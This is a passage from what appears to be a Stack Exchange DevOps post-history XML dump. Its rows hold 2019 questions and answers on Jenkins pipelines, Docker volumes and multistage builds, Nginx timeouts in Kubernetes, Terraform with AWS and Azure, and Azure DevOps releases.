 &#xD;&#xA;at t=1, the 1h error rate is 2/60 = 3.333%  &#xD;&#xA;at t=2, the 1h error rate is 3/60 = 5%&#xD;&#xA;&#xD;&#xA;Our alert fires 2 minutes after the event started.&#xD;&#xA;&#xD;&#xA;Let's assume our incident continues until t=60.&#xD;&#xA;&#xD;&#xA;at t=60, our 1h error rate is 100%: a burn rate of 1000, for a 99.9% SLO  &#xD;&#xA;at t=61, the 1h error rate drops to 59/60 = 98.333%  &#xD;&#xA;at t=62, the 1h error rate is 58/60 = 96.666%  &#xD;&#xA;at t=118, the 1h error rate is 2/60 = 3.333%  &#xD;&#xA;&#xD;&#xA;At this point, our 1h error rate is below the alerting threshold, and so the alert is no longer in the firing state, 58 minutes after the end of the event.&#xD;&#xA;&#xD;&#xA;at t=120, our 1h error rate finally drops back to 0%, as no errors have been observed in the last hour." ContentLicense="CC BY-SA 4.0" />
  <row Id="24349" PostHistoryTypeId="2" PostId="8347" RevisionGUID="d5dd302b-6b11-41a2-9273-92bf600824ff" CreationDate="2019-06-11T08:37:21.213" UserId="15385" Text="There is a retry parameter in the [global options](https://jenkins.io/doc/book/pipeline/syntax/#options) when using declarative pipeline :&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;	    agent any&#xD;&#xA;    	options {&#xD;&#xA;	    	retry(3)&#xD;&#xA;    	}&#xD;&#xA;    	stages {&#xD;&#xA;		    ...&#xD;&#xA;	    }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="24350" PostHistoryTypeId="2" PostId="8348" RevisionGUID="ca1c995d-b0e5-4ce4-90bb-53391db78c1e" CreationDate="2019-06-11T11:29:35.917" UserId="15388" Text="Scalability in the data plane is easy to achieve by simply having more replicas. The configuration the proxies receive from the control plane makes that possible . However, if the number of services (and their sidecar proxies) get too big, the control plane can become a bottleneck by not being able to send metrics or other configuration data fast enough to the sidecars.&#xD;&#xA;&#xD;&#xA;Is there a possibility to horizontally scale the control plane of a service mesh so that the total amount of possible services can be increased?&#xD;&#xA;I didn't find anything regarding that.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24351" PostHistoryTypeId="1" PostId="8348" RevisionGUID="ca1c995d-b0e5-4ce4-90bb-53391db78c1e" CreationDate="2019-06-11T11:29:35.917" UserId="15388" Text="How to scale the control plane of a service mesh?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24352" PostHistoryTypeId="3" PostId="8348" RevisionGUID="ca1c995d-b0e5-4ce4-90bb-53391db78c1e" CreationDate="2019-06-11T11:29:35.917" UserId="15388" Text="&lt;containers&gt;&lt;microservices&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24353" PostHistoryTypeId="50" PostId="8076" RevisionGUID="01e1a14f-d26d-41ac-a567-11d6b4ff5ec2" CreationDate="2019-06-11T13:01:45.837" UserId="-1" />
  <row Id="24358" PostHistoryTypeId="2" PostId="8350" RevisionGUID="2b4c597c-137d-4da6-bccc-cf38f0e13216" CreationDate="2019-06-11T14:07:49.913" UserId="15393" Text="I'm using Azure DevOps and I need a way to release an internal desktop application. Right now I have a pipeline ready and generating artifacts, but I don't see anywhere in the documentation how can I provide a release link to my users.&#xD;&#xA;&#xD;&#xA;The documentation for how to build a desktop client in Azure DevOps is right here:&#xD;&#xA;&#xD;&#xA;[Build your .NET desktop app for Windows][1]&#xD;&#xA;&#xD;&#xA;However, at the end there is no information on how to proceed - in fact, the &quot;Next steps&quot; section provides links on how to deploy Web Apps or VMs, which are hardly relevant for desktop applications (there is also [this issue][2] which states this, but was closed with a &quot;thank you, we've added this to our backlog&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/apps/windows/dot-net?view=azure-devops&amp;tabs=vsts&#xD;&#xA;  [2]: https://github.com/MicrosoftDocs/vsts-docs/issues/539" ContentLicense="CC BY-SA 4.0" />
  <row Id="24359" PostHistoryTypeId="1" PostId="8350" RevisionGUID="2b4c597c-137d-4da6-bccc-cf38f0e13216" CreationDate="2019-06-11T14:07:49.913" UserId="15393" Text="Deploy desktop application in Azure DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="24360" PostHistoryTypeId="3" PostId="8350" RevisionGUID="2b4c597c-137d-4da6-bccc-cf38f0e13216" CreationDate="2019-06-11T14:07:49.913" UserId="15393" Text="&lt;continuous-integration&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24361" PostHistoryTypeId="50" PostId="5863" RevisionGUID="fa211372-2061-4752-a025-ad79ae6a308c" CreationDate="2019-06-11T17:05:55.777" UserId="-1" />
  <row Id="24362" PostHistoryTypeId="50" PostId="5709" RevisionGUID="68ee00a5-da60-4de4-9126-f5bfe761c279" CreationDate="2019-06-11T19:06:00.650" UserId="-1" />
  <row Id="24366" PostHistoryTypeId="2" PostId="8352" RevisionGUID="accfcd86-471f-4ec2-8687-367c3b75e865" CreationDate="2019-06-11T19:56:23.550" UserId="15403" Text="For building use Google Cloud build. For deployment you can you use Google Cloud Deploy.&#xD;&#xA;https://cloud.google.com/deployment-manager/docs/ &#xD;&#xA;https://cloud.google.com/cloud-build/docs/ " ContentLicense="CC BY-SA 4.0" />
  <row Id="24367" PostHistoryTypeId="50" PostId="5887" RevisionGUID="8169ec7c-1eac-405c-8dea-78518ef34a95" CreationDate="2019-06-11T23:03:55.497" UserId="-1" />
  <row Id="24368" PostHistoryTypeId="2" PostId="8353" RevisionGUID="c8efcd0a-2848-4ee4-9a81-ffe183dd3da6" CreationDate="2019-06-12T00:37:24.810" UserId="15406" Text="When our GitLab CI/CD job runs, it first pulls a Docker image and then git clones the entire repo.  Afterwards, the Build commands are executed in the Docker image, etc.&#xD;&#xA;&#xD;&#xA;Is it possible to only clone the **non**-LFS files from the repo?  ... Or perhaps clone the HEAD of the master branch from only a specific subdirectory and it's subdirectories, etc.?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24369" PostHistoryTypeId="1" PostId="8353" RevisionGUID="c8efcd0a-2848-4ee4-9a81-ffe183dd3da6" CreationDate="2019-06-12T00:37:24.810" UserId="15406" Text="GitLab CI/CD job without pulling LFS files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24370" PostHistoryTypeId="3" PostId="8353" RevisionGUID="c8efcd0a-2848-4ee4-9a81-ffe183dd3da6" CreationDate="2019-06-12T00:37:24.810" UserId="15406" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;git-lfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24371" PostHistoryTypeId="2" PostId="8354" RevisionGUID="7fddc78c-ae77-41c1-beb9-41ac85b8b81b" CreationDate="2019-06-12T01:23:50.937" UserId="15408" Text="Yes, in my perspective stages are mostly meant for a visualisation purpose, and we need to maintain the clear demarcation between stages. My suggestion to go with all the SCM related checkouts in a single stage itself . " ContentLicense="CC BY-SA 4.0" />
  <row Id="24372" PostHistoryTypeId="2" PostId="8355" RevisionGUID="03c7ce45-2ce8-4aa5-9a45-27a10e522753" CreationDate="2019-06-12T02:45:41.497" UserId="10550" Text="Report from Stack Overflow due to off-topic&#xD;&#xA;&#xD;&#xA;**Base knowlege**&#xD;&#xA;&#xD;&#xA;Since this question deals particularly with various timeouts configuration in `Nginx`, I thought giving their references here would make it easier for everyone to help me. These are `Nginx` time out directives I use:&#xD;&#xA;&#xD;&#xA;1. proxy_connect_timeout: Defines a timeout for establishing a connection with a proxied server. It should be noted that this timeout cannot usually exceed 75 seconds.&#xD;&#xA;&#xD;&#xA;1. `proxy_read_timeout`: Defines a timeout for reading a response from the proxied server. The timeout is set only between two successive read operations, not for the transmission of the whole response. If the proxied server does not transmit anything within this time, the connection is closed.&#xD;&#xA;&#xD;&#xA;2. `proxy_send_timeout`: Sets a timeout for transmitting a request to the proxied server. The timeout is set only between two successive write operations, not for the transmission of the whole request. If the proxied server does not receive anything within this time, the connection is closed.&#xD;&#xA;&#xD;&#xA;**Scenario**&#xD;&#xA;&#xD;&#xA;Machine from Internet (A) &amp;ndash; **opens HTTP connection** &amp;ndash; &gt; NginxPod (B) &amp;ndash; **reverses proxy** &amp;ndash; &gt; a ClusterIP service (C).&#xD;&#xA;&#xD;&#xA;        location /abc {&#xD;&#xA;            proxy_pass http://service1.test.svc.cluster.local:3000;&#xD;&#xA;            # This is a dns name given to a `ClusterIP` service by K8s.&#xD;&#xA;&#xD;&#xA;            proxy_connect_timeout 2m;&#xD;&#xA;            proxy_read_timeout 60m;&#xD;&#xA;            send_timeout 60m;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;K8s will do some magic internally (e.g. *load balancing* my requests to specific pods which are serving the service1).&#xD;&#xA;&#xD;&#xA;Because there's another layer of load balancing imposed by K8s which I'm not in charged of, I wonder if my timeout settings for `Nginx` will be honored by K8s." ContentLicense="CC BY-SA 4.0" />
  <row Id="24373" PostHistoryTypeId="1" PostId="8355" RevisionGUID="03c7ce45-2ce8-4aa5-9a45-27a10e522753" CreationDate="2019-06-12T02:45:41.497" UserId="10550" Text="Does K8s ClusterIP service supports custom timeout?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24374" PostHistoryTypeId="3" PostId="8355" RevisionGUID="03c7ce45-2ce8-4aa5-9a45-27a10e522753" CreationDate="2019-06-12T02:45:41.497" UserId="10550" Text="&lt;kubernetes&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24375" PostHistoryTypeId="2" PostId="8356" RevisionGUID="f7a9c52f-d338-4f48-b3ef-d0c298058344" CreationDate="2019-06-12T02:53:40.500" UserId="47" Text="In addition to being a pipeline visualization tool, stages also identify portions of the pipeline that could be executed more or less independently from each other, potentially on different workers. Do not underestimate the importance of choosing the right pipeline structure.&#xD;&#xA;&#xD;&#xA;Stages can be re-executed if/when needed, for example in case of failures caused by environment issues, without having to re-run the already completed upstream stages.&#xD;&#xA;&#xD;&#xA;Stages provide ability for pipeline branching. For example a single build stage can produce artifacts that could be used by multiple downstream test stages than can be executed in parallel, for shorter overall pipeline execution time.&#xD;&#xA;&#xD;&#xA;Each stage operation can be supported by pools of workers of different types and sizes.&#xD;&#xA;&#xD;&#xA;Stages can be conditionally executed. For example an expensive integration test stage (lengthy and/or with a smaller resource pool than the build stage)  could be executed only once in a while rather than for every commit, or only on a release branch and not on the primary development branch.&#xD;&#xA;&#xD;&#xA;Since generally the intent is to have the pipeline triggered by each and every commit in the respective branch the size of the pipeline - i.e. the number of stages, their duration and the structure of the pipeline graph (it doesn't necessarily have to be linear) - has a potentially complex relationship with:&#xD;&#xA;&#xD;&#xA;- the rate and profile of the commits triggering the pipelines&#xD;&#xA;- the pool(s) of resources available to support the operation of the pipeline stage(s)&#xD;&#xA;- the role of the branch, the associated balance between the quality level considered mandatory and its mapping onto the verification pipeline structure (i.e. which stage failures are considered blocking, requiring backout/rollback of the respective changes vs. those for which it's acceptable to just file issues to be fixed down the road)&#xD;&#xA;- the amount of additional effort/resources necessary to identify the culprits for and fix the blocking failures detected by the pipeline executions, to complete the (continuous) integration/delivery/deployment process&#xD;&#xA;&#xD;&#xA;In smaller scale projects things are usually simple, but in larger scale ones  these aspects require serious thinking as they can have a huge impact on the overall development process.&#xD;&#xA;&#xD;&#xA;I'll use your first question as an example: &#xD;&#xA;&#xD;&#xA;- if you have a dozen of repositories which combined take less than a minute to checkout/pull - it's probably OK to keep things simple and just pull them all in one step. &#xD;&#xA;- if you have several thousands repositories which may take 1h+ to pull you should probably just pull in each stage what you need for that stage. Or maybe pull them all in the first stage, cache them and re-use that cache in later stages if that helps avoid repeating lengthy pulls. &#xD;&#xA;&#xD;&#xA;Whatever makes sense, in your particular project context." ContentLicense="CC BY-SA 4.0" />
  <row Id="24389" PostHistoryTypeId="2" PostId="8361" RevisionGUID="f1fb6c6b-2977-410e-957a-acde52d49a25" CreationDate="2019-06-12T08:01:00.843" UserId="15411" Text="I'm working on a CI Jenkins build with scripted pipeline. From Jenkins on one machine, I'm connecting with already configured Jenkins slave on another machine (M2). I'm able to successfully execute docker commands within the jenkins slave, however it seems that docker is unable to mount the volumes from the slave to the freshly started docker image.&#xD;&#xA;&#xD;&#xA;    node('testImage') {&#xD;&#xA;       ... //do some job including creation of volumes within the &quot;testImage&quot; container&#xD;&#xA;        stage('Run WildFly instances') {&#xD;&#xA;            //run wildfly relevant&#xD;&#xA;            sh &quot;docker run -d --restart=unless-stopped \&#xD;&#xA;               -v /some/path/to/volume/in/jenkins/slave/container:/some/path/to/volume/within/wildfly14/container \&#xD;&#xA;               -p 8380:8080 \&#xD;&#xA;               -p 9380:9990 \&#xD;&#xA;               -e JAVA_OPTS='-Xms256m -Xmx512m -Djava.net.preferIPv4Stack=true' \&#xD;&#xA;               --name wildfly14 \&#xD;&#xA;              ${DockerRegistryBase}${WildflyImageName}:${WildflyImageVersion}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;/some/path/to/volume exists within the jenkins slave docker image, because it's created within the lifecycle of the pipeline, but the wildfly14 container that I'm trying to run is unable to access /some/path/to/volume, because when I run &#xD;&#xA;&#xD;&#xA;    docker exec -it wildfly14 ls -lR /some/path/to/volume/within/wildfly14/container&#xD;&#xA;&#xD;&#xA;it's simply empty. Any suggestions on why is it even happening? I've noticed that the docker containers are set up outside of the jenkins slave container, on the actual machine (M2). Could it be the reason that docker tries to map a volume from outside of the container (/some/path/to/volume) on M2 instead of the location within the jenkins slave?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24390" PostHistoryTypeId="1" PostId="8361" RevisionGUID="f1fb6c6b-2977-410e-957a-acde52d49a25" CreationDate="2019-06-12T08:01:00.843" UserId="15411" Text="Docker fails to mount volume inside Jenkins scripted pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="24391" PostHistoryTypeId="3" PostId="8361" RevisionGUID="f1fb6c6b-2977-410e-957a-acde52d49a25" CreationDate="2019-06-12T08:01:00.843" UserId="15411" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24392" PostHistoryTypeId="2" PostId="8362" RevisionGUID="2738c9f8-e359-4349-8160-f69a78d6fba9" CreationDate="2019-06-12T08:13:33.460" UserId="6775" Text="It's true that when you scale your services is possible to have a bottleneck on the monitoring, but for avoiding that you have to check if your monitoring system is pull or push, in case it is push maybe is not the best option but pull is not the right answer for all situations.&#xD;&#xA;&#xD;&#xA;One of the most used monitoring systems today is prometheus, you can se how it works here:&#xD;&#xA;&#xD;&#xA;https://prometheus.io/docs/introduction/overview/&#xD;&#xA;&#xD;&#xA;But is not the only one and you need to see how it should fit in your stack.&#xD;&#xA;&#xD;&#xA;Check the possible integrations with istio&#xD;&#xA;&#xD;&#xA;https://istio.io/docs/tasks/telemetry/metrics/querying-metrics/&#xD;&#xA;&#xD;&#xA;In case you have already some of that probably need to think on scaling this part instead of the sidecars or istio itself." ContentLicense="CC BY-SA 4.0" />
  <row Id="24393" PostHistoryTypeId="2" PostId="8363" RevisionGUID="909c0c4d-7743-49bc-8a53-c4a8dcac7060" CreationDate="2019-06-12T12:39:47.247" UserId="11278" Text="I'm looking for Jenkins' equivalent of the `before_script` keyword provided by GitLab. &#xD;&#xA;&#xD;&#xA;So far what I found is the `input` keyword that you can use before entering the `steps` part of the stage, but this feature needs a prompt, whereas I only want to perform a `cd`. &#xD;&#xA;&#xD;&#xA;Is there a Jenkins equivalent of GitLab's `before_script`keyword?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24394" PostHistoryTypeId="1" PostId="8363" RevisionGUID="909c0c4d-7743-49bc-8a53-c4a8dcac7060" CreationDate="2019-06-12T12:39:47.247" UserId="11278" Text="Equivalent of GitLab's &quot;before_script&quot; for Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24395" PostHistoryTypeId="3" PostId="8363" RevisionGUID="909c0c4d-7743-49bc-8a53-c4a8dcac7060" CreationDate="2019-06-12T12:39:47.247" UserId="11278" Text="&lt;jenkins-pipeline&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24396" PostHistoryTypeId="2" PostId="8364" RevisionGUID="d64e302c-49bf-4893-ba24-c587225e204e" CreationDate="2019-06-12T12:44:46.263" UserId="15407" Text="I'm trying to create an environment per branch using Git lab CI, until here we're good. But my concern right now is how to manage the Database?&#xD;&#xA;&#xD;&#xA;I thought of using RDS and terraform, but what I'm doing is basically creating and destroying an RDS instance and recreating it from the final snapshot to a new RDS Instance. I wonder if this is the best way of doing this or do you recommend another approach?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24397" PostHistoryTypeId="1" PostId="8364" RevisionGUID="d64e302c-49bf-4893-ba24-c587225e204e" CreationDate="2019-06-12T12:44:46.263" UserId="15407" Text="How to manage the database in an environment per branch, creating a new instance per branch is the best approach?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24398" PostHistoryTypeId="3" PostId="8364" RevisionGUID="d64e302c-49bf-4893-ba24-c587225e204e" CreationDate="2019-06-12T12:44:46.263" UserId="15407" Text="&lt;terraform&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24399" PostHistoryTypeId="2" PostId="8365" RevisionGUID="52c4bb27-05a0-4f86-86d7-f6f1237134c4" CreationDate="2019-06-12T12:59:25.417" UserId="6356" Text="The jinja syntax error is caused by the `{{ ` around your `job` var.&#xA;Those curly braces are not required as you are already inside jinja block, noted by the `{%`.&#xA;&#xA;So to get your code working just replace  your `{{ job }}` by `job`.&#xA;This should be working." ContentLicense="CC BY-SA 4.0" />
  <row Id="24400" PostHistoryTypeId="2" PostId="8366" RevisionGUID="eb7c16cd-59b9-41c5-9e7c-de0c626294c2" CreationDate="2019-06-12T13:55:37.583" UserId="10380" Text="# Problem&#xD;&#xA;I have two repositories A and B. I have a docker image registry, where I can push the docker images made of the repositories A and B.&#xD;&#xA;&#xD;&#xA;I need only the binary of A's source code to be included in the docker image of B. So when running the docker image of B, the jar file of A is present and can be used. And in case of updates in repository A, the registry image is subsequently updated.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;I've searched now several threads and the docker documentation. Is there a recommended way to make this happen with docker respectivly dockerfile commands?&#xD;&#xA;&#xD;&#xA;So far I tried and it worked, but it wasn't so intiutive. Is this the recommended way?&#xD;&#xA;```dockerfile&#xD;&#xA;FROM myregistry/my-A-img AS A&#xD;&#xA;FROM ubuntu-base-img&#xD;&#xA;&#xD;&#xA;# Build commands for B ...&#xD;&#xA;COPY build-B.jar /app&#xD;&#xA;&#xD;&#xA;# Get the A image from the registry&#xD;&#xA;COPY --from=A /path/to/build-A.jar /app/lib&#xD;&#xA;&#xD;&#xA;# Run B binaries&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="24401" PostHistoryTypeId="1" PostId="8366" RevisionGUID="eb7c16cd-59b9-41c5-9e7c-de0c626294c2" CreationDate="2019-06-12T13:55:37.583" UserId="10380" Text="Using the builded binary of a docker image in another docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="24402" PostHistoryTypeId="3" PostId="8366" RevisionGUID="eb7c16cd-59b9-41c5-9e7c-de0c626294c2" CreationDate="2019-06-12T13:55:37.583" UserId="10380" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24403" PostHistoryTypeId="2" PostId="8367" RevisionGUID="358a0cc9-789c-4e10-85fe-c3e0ae09b30e" CreationDate="2019-06-12T14:31:25.830" UserId="6775" Text="What you need is to use the build pattern or the multistage features of docker&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/develop/develop-images/multistage-build/&#xD;&#xA;&#xD;&#xA;With that, you can use as many images as you need depending on your build process" ContentLicense="CC BY-SA 4.0" />
  <row Id="24404" PostHistoryTypeId="2" PostId="8368" RevisionGUID="eb45c2a1-1376-4629-ba8a-ab0daf748486" CreationDate="2019-06-12T15:12:24.887" UserId="15418" Text="My team uses Terraform to deploy the necessary infrastructure.&#xD;&#xA;Currently, our stack is composed of: AutoScalingGroup fronted by a Load-Balancer, and a Route53 DNS record that points to this LB;&#xD;&#xA;&#xD;&#xA;We would like to extend the stack to include a Cloudfront distribution that points to the LB, and make the Route53 DNS record point to the CDN.&#xD;&#xA;&#xD;&#xA;**I would like to** be able to:&#xD;&#xA;&#xD;&#xA; * spin up Cloudfront and change the DNS record to point to the CDN, without causing any downtime;&#xD;&#xA; * tear down the CDN, change the DNS to point to the load-balancer, without causing any downtime;&#xD;&#xA;&#xD;&#xA;**The current configuration** is as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_lb&quot; &quot;alb&quot; {&#xD;&#xA;  name                       = &quot;${var.alb-name}&quot;&#xD;&#xA;  ...&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot; {&#xD;&#xA;  count = &quot;${var.use_cloudfront != &quot;false&quot; ? 1 : 0}&quot;&#xD;&#xA;  ...&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_route53_record&quot; &quot;www&quot; {&#xD;&#xA;  count = &quot;${var.domain-name != &quot;&quot; ? 1 : 0}&quot;&#xD;&#xA;&#xD;&#xA;  depends_on = [&quot;aws_lb.alb&quot;, &quot;aws_cloudfront_distribution.cdn&quot;]  &#xD;&#xA;&#xD;&#xA;  zone_id = &quot;${data.aws_route53_zone.primary.zone_id}&quot;&#xD;&#xA;  name    = &quot;${var.domain-name}&quot;&#xD;&#xA;  type    = &quot;A&quot;&#xD;&#xA;&#xD;&#xA;  alias = {&#xD;&#xA;    // we use concat because 'count' makes the response of the resource a list. &#xD;&#xA;    // link to similar issue: https://stackoverflow.com/questions/45654774/terraform-conditional-resource&#xD;&#xA;    name                   = &quot;${var.use_cloudfront == &quot;true&quot; ? element(concat(aws_cloudfront_distribution.cdn.*.domain_name, list(&quot;&quot;)), 0) : aws_lb.alb.dns_name}&quot;    &#xD;&#xA;    zone_id                = &quot;${var.use_cloudfront == &quot;true&quot; ? element(concat(aws_cloudfront_distribution.cdn.*.hosted_zone_id, list(&quot;&quot;)), 0) : aws_lb.alb.zone_id}&quot;&#xD;&#xA;    evaluate_target_health = true&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**The current behavior** is as follows:&#xD;&#xA;&#xD;&#xA; * the spin-up of the CDN, followed by re-routing the DNS record to point to the CDN, does not lead to any downtime;&#xD;&#xA; * **the tear-down of the CDN, followed by re-routing the DNS record to the load-balancer, does cause downtime;**&#xD;&#xA;&#xD;&#xA;I am aware that the `depends_on = [&quot;aws_lb.alb&quot;, &quot;aws_cloudfront_distribution.cdn&quot;]` on the Route53 record might not be the best choice to create the desired behavior. However, I am not sure how to reach the desired behavior using terraform.&#xD;&#xA;&#xD;&#xA;I've also added the Terraform output to a Gist file: https://gist.github.com/rafaelmarques7/03ec6e576faff81ef36d7fc878e85230&#xD;&#xA;&#xD;&#xA;I am wondering if anyone has any suggestions to reach the desired behavior. Let me know if the provided information is insufficient. Thank you for your help, it is appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="24405" PostHistoryTypeId="1" PostId="8368" RevisionGUID="eb45c2a1-1376-4629-ba8a-ab0daf748486" CreationDate="2019-06-12T15:12:24.887" UserId="15418" Text="Terraform: Route53, LB and CDN interdependencies" ContentLicense="CC BY-SA 4.0" />
  <row Id="24406" PostHistoryTypeId="3" PostId="8368" RevisionGUID="eb45c2a1-1376-4629-ba8a-ab0daf748486" CreationDate="2019-06-12T15:12:24.887" UserId="15418" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;dns&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24407" PostHistoryTypeId="2" PostId="8369" RevisionGUID="15b99e50-c0fa-41f5-a4f0-0ab4c351f59d" CreationDate="2019-06-12T16:48:52.893" UserDisplayName="user8517" Text="I'm trying to upgrade out Terraform seeing as 0.12 (stable) came out recently. I've ran into some issues with a certain pair of resource blocks. I'm getting the below error message when trying to do terraform plan, if I remove the count index it gives me a different error and says that I need the count index but that gives this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    The &quot;count&quot; object can be used only in &quot;resource&quot; and &quot;data&quot; blocks, and only&#xD;&#xA;    when the &quot;count&quot; argument is set.&#xD;&#xA;&#xD;&#xA;Here is the terraform stripped down to only the relevant parts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    resource &quot;azurerm_network_interface&quot; &quot;network_interface&quot; {&#xD;&#xA;    	count                             = &quot;${var.vm_server_count}&quot;&#xD;&#xA;    	location                          = &quot;${var.location}&quot;&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;    Problematic resource block&#xD;&#xA;    &#xD;&#xA;    resource &quot;azurerm_network_interface_backend_address_pool_association&quot; &quot;network_interface&quot; {&#xD;&#xA;      network_interface_id    = &quot;${azurerm_network_interface.network_interface[count.index]}&quot;&#xD;&#xA;      ip_configuration_name   = &quot;example&quot;&#xD;&#xA;      backend_address_pool_id = &quot;${azurerm_lb_backend_address_pool.network_interface.id}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I missing here? This is Terraform 0.12 stable using Azure as the provider." ContentLicense="CC BY-SA 4.0" />
  <row Id="24408" PostHistoryTypeId="1" PostId="8369" RevisionGUID="15b99e50-c0fa-41f5-a4f0-0ab4c351f59d" CreationDate="2019-06-12T16:48:52.893" UserDisplayName="user8517" Text="Terraform | The &quot;count&quot; object can be used only in &quot;resource&quot; and &quot;data&quot; blocks," ContentLicense="CC BY-SA 4.0" />
  <row Id="24409" PostHistoryTypeId="3" PostId="8369" RevisionGUID="15b99e50-c0fa-41f5-a4f0-0ab4c351f59d" CreationDate="2019-06-12T16:48:52.893" UserDisplayName="user8517" Text="&lt;terraform&gt;&lt;azure&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24410" PostHistoryTypeId="2" PostId="8370" RevisionGUID="05aaf164-cd33-495e-b8c5-b8156ffa1c7b" CreationDate="2019-06-12T19:59:43.030" UserId="15423" Text="Using Azure DevOps, I'm trying to setup a SQL DB Deploy task as a part of a new release pipeline. Database Name is a required field for this task. However, the field is read only, so I cannot manually input it.&#xD;&#xA;&#xD;&#xA;There is a tooltip stating that &quot;This setting is linked to the 'Database name' (Parameters.DatabaseName) pipeline parameter.&quot; I'm not sure what this means, but it is perhaps the key to my solution.&#xD;&#xA;&#xD;&#xA;I tried adding a Pipeline variable named DatabaseName and also Parameters.DatabaseName, but this did not help.&#xD;&#xA;&#xD;&#xA;How can I specify a value for the Database Name property?&#xD;&#xA;&#xD;&#xA;[![SQL DB Deploy task screenshot][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gQ43k.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="24411" PostHistoryTypeId="1" PostId="8370" RevisionGUID="05aaf164-cd33-495e-b8c5-b8156ffa1c7b" CreationDate="2019-06-12T19:59:43.030" UserId="15423" Text="How do I specify a database name for a SQL DB Deploy task?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24412" PostHistoryTypeId="3" PostId="8370" RevisionGUID="05aaf164-cd33-495e-b8c5-b8156ffa1c7b" CreationDate="2019-06-12T19:59:43.030" UserId="15423" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24417" PostHistoryTypeId="2" PostId="8372" RevisionGUID="77250144-c153-4b2a-819f-4a9c5525ab7e" CreationDate="2019-06-13T08:42:46.420" UserId="6743" Text="I think this is achieveable with `terraform`s `null_resource` (https://www.terraform.io/docs/providers/null/resource.html) with `local-exec`.&#xD;&#xA;&#xD;&#xA;Example (untested):&#xD;&#xA;&#xD;&#xA;    resource &quot;null_resource&quot; &quot;helm_init_command&quot; {&#xD;&#xA;&#xD;&#xA;      provisioner &quot;local-exec&quot; {&#xD;&#xA;        command = &quot;helm init&quot;&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24418" PostHistoryTypeId="2" PostId="8373" RevisionGUID="86d71c41-38e0-4eeb-b8f5-0a1c109efb72" CreationDate="2019-06-13T09:38:32.617" UserId="15403" Text="How I see there is two options (from my exp):&#xD;&#xA;1. Use configuration for provider. &#xD;&#xA;https://www.terraform.io/docs/providers/helm/index.html, there is option to install tiller.&#xD;&#xA;2. Use prefabricated modules, for example:&#xD;&#xA;https://github.com/sagikazarmark/terraform-tiller&#xD;&#xA;https://registry.terraform.io/modules/Vidimensional/tiller/kubernetes/0.0.1&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
